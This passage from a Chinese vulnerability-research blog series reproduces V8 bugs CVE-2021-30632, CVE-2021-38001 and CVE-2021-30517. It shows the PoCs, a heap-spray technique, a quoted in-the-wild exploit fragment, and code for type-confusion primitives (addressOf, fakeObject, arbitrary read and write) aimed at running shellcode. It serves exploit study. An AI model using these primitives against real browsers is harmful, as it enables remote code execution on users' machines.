x[21] = addr;
}
然后就是修改trigger_array
的size
,把trigger_array
数组的大小改为0x20:
var z = oobRead();
console.log("[*] leak data: 0x"+hex(ftoi(z)));
if (d2u(z)[1] == 2)
oobWrite(u2d(d2u(z)[0], 0x20));
else
oobWrite(u2d(0x20, d2u(z)[1]));
现在我们能来编写addressOf函数了:
function addressOf(obj_to_leak)
{
vul_obj[0] = obj_to_leak;
trigger_array[7] = array_map;
let obj_addr = ftoi(vul_obj[0])-1n;
trigger_array[7] = obj_map;
return obj_addr;
}
接下来就是编写fakeObj
函数:
function fakeObject(addr_to_fake)
{
padding[0] = itof(addr_to_fake + 1n);
trigger_array[5] = obj_map;
let faked_obj = padding[0];
trigger_array[5] = array_map;
return faked_obj;
}
剩下的工作就是按照惯例,套模板,修改偏移了,这PoC目前我也没觉得哪里有需要优化的地方。
漏洞简述
在文章开头,就给了一篇分析文章,原理在这篇文章也讲的很清楚了,我这里就不展开再写了。我就简单概括一下说说我的理解。
首先是对foo
函数进行JIT优化:
//Optimzie foo
for (let i = 0; i < 40000; i++) {
if (i == 100) arr2[0] = 1.1;
foo(arr1);
}
arr1
在unstable
的情况下,经过JIT优化,所以JIT会假设foo
函数的输入为SMI
数组类型的变量,然后执行x[0] = 1.1;
,把x变为浮点型数组类型的变量,但是因为变量x(这个时候x等于arr1)是unstable
,因为代码的bug,所以这个时候不会取消JIT优化。
然后执行:
for (let i = 0; i < 40000; i++) oobRead();
oobRead
函数也经过JIT优化,这个时候JIT认为变量x是浮点型数组类型。
然后执行foo(arr);
,因为之前JIT已经假设了foo
函数的输入变量为SMI
数组,而arr
就是SMI
数组变量,所以JIT把x变量设置成了arr,却没有取消oobRead
函数对于x变量的假设。
也就是说,在foo
函数中,认为x是SMI数组,而oobRead
函数中认为x是浮点型数组,这就产生了类型混淆。
所以在oobRead
函数中x[21]
的取值方式是在地址为x + 8 * 21
取8字节的浮点型数值。但是x现在已经等于变量arr
了,是一个长度为30的SMI数组,size为: 4 * 30
,所以这就导致了溢出。
不过在分析该漏洞的时候仍然还有一些问题没有解决,函数循环多少次会被JIT优化?在什么情况下把arr1
转化为unstable
,JIT才能正常优化?上面循环40000
次,在i==100
的时候让arr1
变为unstable
都是我试出来的,但是为啥是这个次数呢?我还没研究明白。等后续研究明白了可以专门写一篇文章。
参考
- https://bugs.chromium.org/p/chromium/issues/detail?id=1247763
- https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632
CVE-2021-38001(六)
CVE-2021-38001漏洞分析
第四个研究的是CVE-2021-38001
,其chrome的bug编号为:1260577
其相关信息还未公开,但是我们仍然能得知:
受影响的Chrome最高版本为:95.0.4638.54
受影响的V8最高版本为:9.5.172.21
搭建环境
一键编译相关环境:
$ ./build.sh 9.5.172.21
该漏洞是2021年天府杯上提交的漏洞,在网上也只有一篇相关分析和PoC[2]:
import * as module from "1.mjs";
function poc() {
class C {
m() {
return super.y;
}
}
let zz = {aa: 1, bb: 2};
// receiver vs holder type confusion
function trigger() {
// set lookup_start_object
C.prototype.__proto__ = zz;
// set holder
C.prototype.__proto__.__proto__ = module;
// "c" is receiver in ComputeHandler [ic.cc]
// "module" is holder
// "zz" is lookup_start_object
let c = new C();
c.x0 = 0x42424242 / 2;
c.x1 = 0x42424242 / 2;
c.x2 = 0x42424242 / 2;
c.x3 = 0x42424242 / 2;
c.x4 = 0x42424242 / 2;
// LoadWithReceiverIC_Miss
// => UpdateCaches (Monomorphic)
// CheckObjectType with "receiver"
let res = c.m();
}
for (let i = 0; i < 0x100; i++) {
trigger();
}
}
poc();
该漏洞在原理的理解上有一些难度,不过仍然能使用套模板的方法来编写EXP,不过在套模板之前我们先来学一个新技术:V8通用堆喷技术
V8通用堆喷技术
首先来做个简单的测试:
a = Array(100);
%DebugPrint(a);
%SystemBreak();
使用vmmap
查看堆布局:
0x1f7a00000000 0x1f7a00003000 rw-p 3000 0 [anon_1f7a00000]
0x1f7a00003000 0x1f7a00004000 ---p 1000 0 [anon_1f7a00003]
0x1f7a00004000 0x1f7a0001a000 r-xp 16000 0 [anon_1f7a00004]
0x1f7a0001a000 0x1f7a0003f000 ---p 25000 0 [anon_1f7a0001a]
0x1f7a0003f000 0x1f7a08000000 ---p 7fc1000 0 [anon_1f7a0003f]
0x1f7a08000000 0x1f7a0802a000 r--p 2a000 0 [anon_1f7a08000]
0x1f7a0802a000 0x1f7a08040000 ---p 16000 0 [anon_1f7a0802a]
0x1f7a08040000 0x1f7a0814d000 rw-p 10d000 0 [anon_1f7a08040]
0x1f7a0814d000 0x1f7a08180000 ---p 33000 0 [anon_1f7a0814d]
0x1f7a08180000 0x1f7a08183000 rw-p 3000 0 [anon_1f7a08180]
0x1f7a08183000 0x1f7a081c0000 ---p 3d000 0 [anon_1f7a08183]
0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]
0x1f7a08240000 0x1f7b00000000 ---p f7dc0000 0 [anon_1f7a08240]
其中我们注意一下最后一块堆相关信息:
0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]
pwndbg> x/16gx 0x1f7a081c0000
0x1f7a081c0000: 0x0000000000040000 0x0000000000000004
0x1f7a081c0010: 0x000056021f06d738 0x00001f7a081c2118
0x1f7a081c0020: 0x00001f7a08200000 0x000000000003dee8
0x1f7a081c0030: 0x0000000000000000 0x0000000000002118
0x1f7a081c0040: 0x000056021f0efae0 0x000056021f05f5a0
0x1f7a081c0050: 0x00001f7a081c0000 0x0000000000040000
0x1f7a081c0060: 0x000056021f0ed840 0x0000000000000000
0x1f7a081c0070: 0xffffffffffffffff 0x0000000000000000
以下为该堆块的相关结构:
0x1f7a081c0000: size = 0x40000
0x1f7a081c0018: 堆的起始地址为0x00001f7a081c2118,在V8的堆结构中有0x2118字节用来存储堆结构相关信息
0x1f7a081c0020: 堆指针,表示该堆已经被使用到哪了
0x1f7a081c0028: 已经被使用的size, 0x3dee8 + 0x2118 = 0x40000
再来看看后面的堆布局:
pwndbg> x/16gx 0x1f7a081c0000 + 0x40000
0x1f7a08200000: 0x0000000000040000 0x0000000000000004
0x1f7a08200010: 0x000056021f06d738 0x00001f7a08202118
0x1f7a08200020: 0x00001f7a08240000 0x000000000003dee8
0x1f7a08200030: 0x0000000000000000 0x0000000000002118
0x1f7a08200040: 0x000056021f0f0140 0x000056021f05f5a0
0x1f7a08200050: 0x00001f7a08200000 0x0000000000040000
0x1f7a08200060: 0x000056021f0fd3c0 0x0000000000000000
0x1f7a08200070: 0xffffffffffffffff 0x0000000000000000
结构同上,可以发现,在0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]
内存区域中,由两个大小为0x40000
的v8的堆组成。
如果这个时候,我申请一个0xf700
大小的数组,在新版v8中,一个地址4字节,那么就是需要0xf700 * 4 + 0x2118 = 0x3fd18
,再对齐一下,那么就是0x40000
大小的堆,我们来测试一下:
a = Array(0xf700);
%DebugPrint(a);
%SystemBreak();
得到变量a
的信息为:
DebugPrint: 0x2beb08049929: [JSArray]
- map: 0x2beb08203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x2beb081cc0e9 <JSArray[0]>
- elements: 0x2beb08242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
- length: 63232
- properties: 0x2beb0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x2beb080048f1: [String] in ReadOnlySpace: #length: 0x2beb0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x2beb08242119 <FixedArray[63232]> {
0-63231: 0x2beb0800242d <the_hole>
}
发现堆布局的变化:
0x2beb081c0000 0x2beb08280000 rw-p c0000 0 [anon_2beb081c0]
size从0x80000
变成了0xc0000
,跟我预想的一样,增加了0x40000
,而变量a
的elements
字段地址为0x2beb081c0000 + 0x80000 + 0x2118 + 0x1 = 0x2beb08242119
在新版的V8种,因为启用的地址压缩特性,在堆中储存的地址为4字节,而根据上述堆的特性,我们能确定低2字节为0x2119
另外,堆地址总是从0x00000000
开始的,在我的环境中,上述堆的高2字节总是0x081c
,该数值取决于V8在前面的堆中储存了多少数据,该值不会随机变化,比如在写好的脚本中,该值基本不会发生改变。所以现在,可以确定一个有效地址:0x081c0000 + 0x2118 + 0x1 + 0x80000 + 0x40000 * n, n>=0
如果在比较复杂的环境中,可以增加Array的数量,然后定一个比较大的值,如以下一个示例:
big_array = [];
for (let i = 0x0; i < 0x50; i++) {
tmp = new Array(0x100000);
for (let j = 0x0; j < 0x100; j++) {
tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
}
big_array.push(tmp);
}
通过该方法堆喷,我们能确定一个地址:0x30002121
,然后通过以下代码可以获取到u2d(i * 0x100 + j, 0)
的值,从而算出i,j:
var u32 = new Uint32Array(f64.buffer);
getByteLength = u32.__lookupGetter__('byteLength');
byteLength = getByteLength.call(evil);
该方法的作用是获取Uint32Array
类型变量的bytelength
属性,可以通过调试,了解一下Uint32Array
类型变量的结构。
但是为什么evil(地址为0x30002121),会被当成Uint32Array
类型的变量呢,因为使用上述方法,V8不会检查变量类型吗?当然不是,上面的代码并不完整,完整的代码还需要伪造map结构,地址我们可以算出来,而map结构的会被检查的数据都是flag标志为,该值固定,所以使用gdb查看一下相关变量的map结构,就能进行伪造了,完整的堆喷代码如下:
ut_map = itof(0x300021a1);
buffer = itof(0x3000212900000000);
address = itof(0x12312345678);
ut_map1 = itof(0x1712121200000000);
ut_map2 = itof(0x3ff5500082e);
ut_length = itof(0x2);
double_map = itof(0x300022a1);
double_map1 = itof(0x1604040400000000);
double_map2 = itof(0x7ff11000834);
big_array = [];
for (let i = 0x0; i < 0x50; i++) {
tmp = new Array(0x100000);
for (let j = 0x0; j < 0x100; j++) {
tmp[0x0 / 0x8 + j * 0x1000] = ut_map;
tmp[0x8 / 0x8 + j * 0x1000] = buffer;
tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
tmp[0x20 / 0x8 + j * 0x1000] = ut_length;
tmp[0x28 / 0x8 + j * 0x1000] = address;
tmp[0x30 / 0x8 + j * 0x1000] = 0x0;
tmp[0x80 / 0x8 + j * 0x1000] = ut_map1;
tmp[0x88 / 0x8 + j * 0x1000] = ut_map2;
tmp[0x100 / 0x8 + j * 0x1000] = double_map;
tmp[0x180 / 0x8 + j * 0x1000] = double_map1;
tmp[0x188 / 0x8 + j * 0x1000] = double_map2;
}
big_array['push'](tmp);
}
后续利用中同样可以使用该思路伪造一个doule
数组的变量或者obj
数组的变量。
套模版
接下来又到套模板的时间了,暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。
可以把PoC化简一下:
import('./2.mjs').then((m1) => {
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
class C {
m() {
return super.x;
}
}
obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);
}
C.prototype.__proto__ = m1;
function trigger() {
let c = new C();
c.x0 = obj_prop_ut_fake;
let res = c.m();
return res;
}
for (let i = 0; i < 10; i++) {
trigger();
}
let evil = trigger();
%DebugPrint(evil);
});
运行一下PoC
,可以发现,最后的结果为:DebugPrint: Smi: 0x20202021 (538976289)
,SMI类型的变量,值为0x20202021
,在内存中的储存值为其两倍:0x20202021 * 2 = 0x40404042
,也就是我们在PoC中设置的值。
在PoC中加上我们的堆喷代码(同时进行堆布局):
a = [2.1];
b_1 = {"a": 2.2};
b = [b_1];
double_array_addr = 0x082c2121+0x100;
double_array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
ptr_array_addr = 0x08242119;
ptr_array = new Array(0xf700);
ptr_array[0] = a;
ptr_array[1] = b;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(double_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = double_array_map0;
big_array[0x108/8] = double_array_map1;
其中0x082c2121
为big_array[0]
的地址,0x08242119
为ptr_array[0]
的地址。
然后是leak变量a
和变量b
的map地址:
let evil = trigger();
addr = d2u(evil[0]);
a_addr = addr[0];
b_addr = addr[1];
console.log("[*] leak a addr: 0x"+hex(a_addr));
console.log("[*] leak b addr: 0x"+hex(b_addr));
big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
double_array_map = evil[0];
big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
obj_array_map = evil[0];
console.log("[*] leak double_array_map: 0x"+hex(ftoi(double_array_map)));
console.log("[*] leak obj_array_map: 0x"+hex(ftoi(obj_array_map)));
现在我们能来编写addressOf函数了:
function addressOf(obj_to_leak)
{
big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
b[0] = obj_to_leak;
evil[0] = double_array_map;
let obj_addr = ftoi(b[0])-1n;
evil[0] = obj_array_map;
return obj_addr;
}
接下来就是编写fakeObj
函数:
function fakeObject(addr_to_fake)
{
big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
a[0] = itof(addr_to_fake + 1n);
evil[0] = obj_array_map;
let faked_obj = a[0];
evil[0] = double_array_map;
return faked_obj;
}
之后就是按照模版来了,修改修改偏移,就能执行shellcode了。
该PoC还能进行一些优化,有时候没必要死抠着模板来,按照上文的所说的知识,我们能伪造map结构的数据,那自然不管是double array map
还是obj array map
都能,所以没必要再泄漏这些数据了。
我们的堆喷代码能进行一些优化:
double_array_addr = 0x08282121+0x100;
obj_array_addr = 0x08282121+0x150;
array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
obj_array_map1 = itof(0x0a0007ff09000834n);
ptr_array_addr = 0x08282121 + 0x050;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(obj_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = array_map0;
big_array[0x108/8] = double_array_map1;
big_array[0x150/8] = array_map0;
big_array[0x158/8] = obj_array_map1;
其中big_array[0x100/8]
是我们伪造的double array map
,big_array[0x150/8]
是我们伪造的object array map
。
addressOf
函数和fakeObj
函数也进行一波优化:
function fakeObject(addr_to_fake)
{
big_array[0x058/8] = itof(addr_to_fake + 1n);
let faked_obj = evil[0];
return faked_obj;
}
function addressOf(obj_to_leak)
{
evil[0] = obj_to_leak;
big_array[0x000/8] = u2d(double_array_addr, 0);
let obj_addr = ftoi(evil[0])-1n;
big_array[0x000/8] = u2d(obj_array_addr, 0);
return obj_addr;
}
该漏洞的PoC不仅有Github上公开的版本,还抓到一个在野利用的版本:
function triger_type_confusion() {
return obj;
}
obj_or_function = 1.1;
class C extends triger_type_confusion {
constructor() {
super();
obj_or_function = super.x;
}
}
obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = itof(0x30002121);
}
obj = {
'x1': obj_prop_ut_fake
};
C['prototype']['__proto__'] = q1;
for (let i = 0x0; i < 0xa; i++) {
new C();
}
new C();
fake_ut = obj_or_function;
不过跟Github上的PoC对比,略显麻烦了一些,不过原理仍然是一样的。
漏洞原理
该漏洞的成因跟之前我复现的漏洞相比,略微复杂了一下,需要补充一些V8的设计原理相关的知识,可以参考:[3]、[4]。
需要了解一下JS获取属性的原理,还有Inline Caches
相关的知识。
这里我只简单说说该漏洞的问题:
在最开始执行10次new C()
,因为Lazy feedback allocation
,所以并没有对属性访问进行优化,这个时候的super
就是m1
,但是在执行完10次之后,开始进行Inline Caches
优化,因为内联缓存代码的bug,super的值变成了变量c
: let c = new C();
,之后的流程如下:
-
super.x
的取值顺序为:JSModuleNamespace -> module(+0xC) -> exports (+0x4) -> y(+0x28) -> value(+0x4)
- 因为
Lazy feedback allocation
,trigger
函数在执行10次之后,触发了Inline Caches
,为了加速代码执行速度,把super.x
取值的顺序直接转换成汇编代码。 - 漏洞代码,在翻译汇编代码的时候,把
super
翻译成了变量c
。 -
c+0xC
位置储存的是obj_prop_ut_fake
-
obj_prop_ut_fake+0x4
储存的是该变量的properties
(属性),也就是obj_prop_ut_fake.xn
-
obj_prop_ut_fake.properties + 0x28
获取到的是HeapNumber
结构地址。 -
HeapNumber+0x4
地址的值为u2d(0x40404042, 0)
参考
- https://bugs.chromium.org/p/chromium/issues/detail?id=1260577
- https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md
- https://v8.dev/blog/v8-lite
- https://mathiasbynens.be/notes/shapes-ics#ics
CVE-2021-30517(七)
复现CVE-2021-30517
第五个研究的是CVE-2021-30517
,其chrome的bug编号为:1203122
可以很容易找到其相关信息:
受影响的Chrome最高版本为:90.0.4430.93
受影响的V8最高版本为:9.0.257.23
相关PoC:
function main() {
class C {
m() {
super.prototype
}
}
function f() {}
C.prototype.__proto__ = f
let c = new C()
c.x0 = 1
c.x1 = 1
c.x2 = 1
c.x3 = 1
c.x4 = 0x42424242 / 2
f.prototype
c.m()
}
for (let i = 0; i < 0x100; ++i) {
main()
}
在Chrome的bug信息页面除了poc外,同时也公布了exp,有需要的可自行下载研究。
搭建环境
一键编译相关环境:
$ ./build.sh 9.0.257.23
套模版
该PoC跟上篇文章的PoC相似度很高,原理也相似,所以可以尝试上文的堆喷技术来写该漏洞的EXP,但是该漏洞还存在另一个PoC:
obj = {a:1};
obj_array = [obj];
%DebugPrint(obj_array);
function main() {
class C {
m() {
return super.length;
}
}
f = new String("aaaa");
C.prototype.__proto__ = f
let c = new C()
c.x0 = obj_array;
f.length;
return c.m();
}
for (let i = 0; i < 0x100; ++i) {
r = main()
if (r != 4) {
console.log(r);
break;
}
}
运行PoC,得到结果:
DebugPrint: 0x322708088a01: [JSArray]
- map: 0x322708243a41 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x32270820b899 <JSArray[0]>
- elements: 0x3227080889f5 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x32270804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3227080446d1: [String] in ReadOnlySpace: #length: 0x32270818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3227080889f5 <FixedArray[1]> {
0: 0x3227080889c9 <Object map = 0x322708247141>
}
134777333
hex(134777333) = 0x80889f5
最后返回的length
等于obj_array
变量的elements
地址。理解了上文对类型混淆的讲解,应该能看懂上述的PoC,该PoC通过String和Array类型混淆,从而泄漏出obj_array
变量的elements
。根据该逻辑我们来编写EXP。
obj = {a:1};
obj_array = [obj];
class C {
constructor() {
this.x0 = obj_array;
}
m() {
return super.length;
}
}
let receive = new C();
function trigger1() {
lookup_start_object = new String("aaaa");
C.prototype.__proto__ = lookup_start_object;
lookup_start_object.length;
return receive.m()
}
for (let i = 0; i < 140; ++i) {
trigger1();
}
element = trigger1();
在上面的基础上,编写addressOf
函数:
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
receive2.length = (element-0x1)/2;
low3 = trigger2();
receive2.length = (element-0x1+0x2)/2;
hi1 = trigger2();
res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
return res-1;
}
class B extends Array {
m() {
return super.length;
}
}
let receive2 = new B();
function trigger2() {
lookup_start_object = new String("aaaa");
B.prototype.__proto__ = lookup_start_object;
lookup_start_object.length;
return receive2.m()
}
for (let i = 0; i < 140; ++i) {
trigger2();
}
改addressOf
函数与之前的文章中编写的,稍显复杂了一些,这里做一些解释。
receive2
的length
属性属于SMI类型,储存在内存中的值为偶数,其值除以2,就是真正的SMI的值。
String
对象读取length
的路径为:String->value(String+0xB)->length(*value+0x7)
因为receive2
对象通过漏洞被认为了是String
对象,所以receive2+0xB
的值为receive2.length
属性的值。
所以我们可以通过receive2.length
来设置value
的值,但是只能设置为偶数,而正确的值应该为奇数,所以这里我们需要读两次,然后通过位运算,还原出我们实际需要的值。
跟之前的模版不同,该漏洞能让我们在不构造fake_obj
的情况下编写任意读函数,为了后续利用更方便,所以该漏洞的EXP我们加入了read32
函数:
function read32(addr)
{
receive2.length = (addr-0x8)/2;
low3 = trigger2();
receive2.length = (addr-0x8+0x2)/2;
hi1 = trigger2();
res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
return res;
}
原理和addressOf
一样。
因为该漏洞的特性,我们这次不需要编写fakeObject
函数,所以接下来我们需要构造fake_obj
来编写read64
函数。
多调试一下我们前文使用的PoC,该PoC只能泄漏地址,但是没办法让我们得到一个伪造的对象。但是文章的最开始,Chrome的bug页面中给的PoC,却可以让我们得到一个对象。因为是把函数的prototype对象进行类型混淆。
构造fake_obj
的代码如下所示:
var fake_array = [1.1, 2.2, 3.3, 4.4, 5.5];
var fake_array_addr = addressOf(fake_array);
fake_array_map = read32(fake_array_addr);
fake_array_map_map = read32(fake_array_map-1);
fake_array_ele = read32(fake_array_addr+8) + 8;
fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);
fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000);
fake_array[3] = 0;
fake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);
class A extends Array {
constructor() {
super();
this.x1 = 1;
this.x2 = 2;
this.x3 = 3;
this.x4 = (fake_array_ele-1+0x10+2) / 2;
}
m() {
return super.prototype;
}
}
let receive3 = new A();
function trigger3() {
function lookup_start_object(){};
A.prototype.__proto__ = lookup_start_object;
lookup_start_object.prototype;
return receive3.m()
}
for (let i = 0; i < 140; ++i) {
trigger3();
}
fake_object = trigger3();
通过调试我们可以发现,函数lookup_start_object
获取prototype
对象的路径为:lookup_start_object->function prototype(lookup_start_object+0x1B)
,如果该地址的map
为表示类型的对象,如下所以:
0x257d08242281: [Map]
- type: JS_FUNCTION_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
改对象的特点为:
pwndbg> x/2gx 0x257d08242281-1
0x257d08242280: 0x1408080808042119 0x084017ff19c20423
pwndbg> x/2gx 0x257d00000000+0xC0
0x257d000000c0: 0x0000257d08042119 0x0000257d08042509
pwndbg> job 0x257d08042119
0x257d08042119: [Map] in ReadOnlySpace
- type: MAP_TYPE
- instance size: 40
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x257d080423b5 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x257d080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x257d08042235 <null>
- constructor: 0x257d08042235 <null>
- dependent code: 0x257d080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
如果lookup_start_object+0x1B
执行的地址的map
值为0x08242281
,则获取其prototype(+0xF)
在上述的PoC中:fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000);
就是在伪造MAP类型的map。
该地址加上0xf
:fake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);
,指向了fake_array
的开始:
fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);
而最开始,就是我们伪造的浮点型数组。有了fake_obj
之后我们就可以编写read64
函数了:
function read64(addr)
{
fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
return fake_object[0];
}
然后就是write64
函数:
function write64(addr, data)
{
fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
fake_object[0] = itof(data);
}
剩下的工作就是按照惯例,套模板,修改偏移了,这PoC目前我也没觉得哪里有需要优化的地方。
漏洞简述
上述伪造fake_obj
的逻辑中,v8返回函数的prototype
的逻辑如下:
Node* CodeStubAssembler::LoadJSFunctionPrototype(Node* function,
Label* if_bailout) {
CSA_ASSERT(this, TaggedIsNotSmi(function));
CSA_ASSERT(this, IsJSFunction(function));
CSA_ASSERT(this, IsClearWord32(LoadMapBitField(LoadMap(function)),
1 << Map::kHasNonInstancePrototype));
Node* proto_or_map =
LoadObjectField(function, JSFunction::kPrototypeOrInitialMapOffset);
GotoIf(IsTheHole(proto_or_map), if_bailout);
VARIABLE(var_result, MachineRepresentation::kTagged, proto_or_map);
Label done(this, &var_result);
GotoIfNot(IsMap(proto_or_map), &done); -> 判断是否为MAP对象
var_result.Bind(LoadMapPrototype(proto_or_map)); -> 如果是,则返回其prototype,偏移为0xf
Goto(&done);
BIND(&done);
return var_result.value();
}
该漏洞的原理在Chrome的bug描述页面也有说明,就是receiver
和lookup_start_object
搞混了。
下例代码:
class A extends Array {
constructor() {
super();
this.x1 = 1;
this.x2 = 2;
this.x3 = 3;
this.x4 = (fake_array_ele-1+0x10+2) / 2;
}
m() {
return super.prototype;
}
}
let receive3 = new A();
其中变量receive3
就是receiver
,而lookup_start_object
为A.prototype.__proto__
。
然后就是以下代码:
Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
Handle<Object> receiver = lookup->GetReceiver();
ReadOnlyRoots roots(isolate());
// `in` cannot be called on strings, and will always return true for string
// wrapper length and function prototypes. The latter two cases are given
// LoadHandler::LoadNativeDataProperty below.
if (!IsAnyHas() && !lookup->IsElement()) {
if (receiver->IsString() && *lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
return BUILTIN_CODE(isolate(), LoadIC_StringLength);
}
if (receiver->IsStringWrapper() &&
*lookup->name() == roots.length_string()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
}
// Use specialized code for getting prototype of functions.
if (receiver->IsJSFunction() &&
*lookup->name() == roots.prototype_string() &&
!JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
}
}
Handle<Map> map = lookup_start_object_map();
Handle<JSObject> holder;
bool holder_is_lookup_start_object;
if (lookup->state() != LookupIterator::JSPROXY) {
holder = lookup->GetHolder<JSObject>();
holder_is_lookup_start_object =
lookup->lookup_start_object().is_identical_to(holder);
}
当获取函数的prototype
属性或者字符串对象获取其length
属性时(也就是super.prototype(super.length)
),使用的是receiver
而不是A.prototype.__proto__
。
上述代码为ICs的优化代码,在没有进行inline cache的情况下,漏洞并不会发生。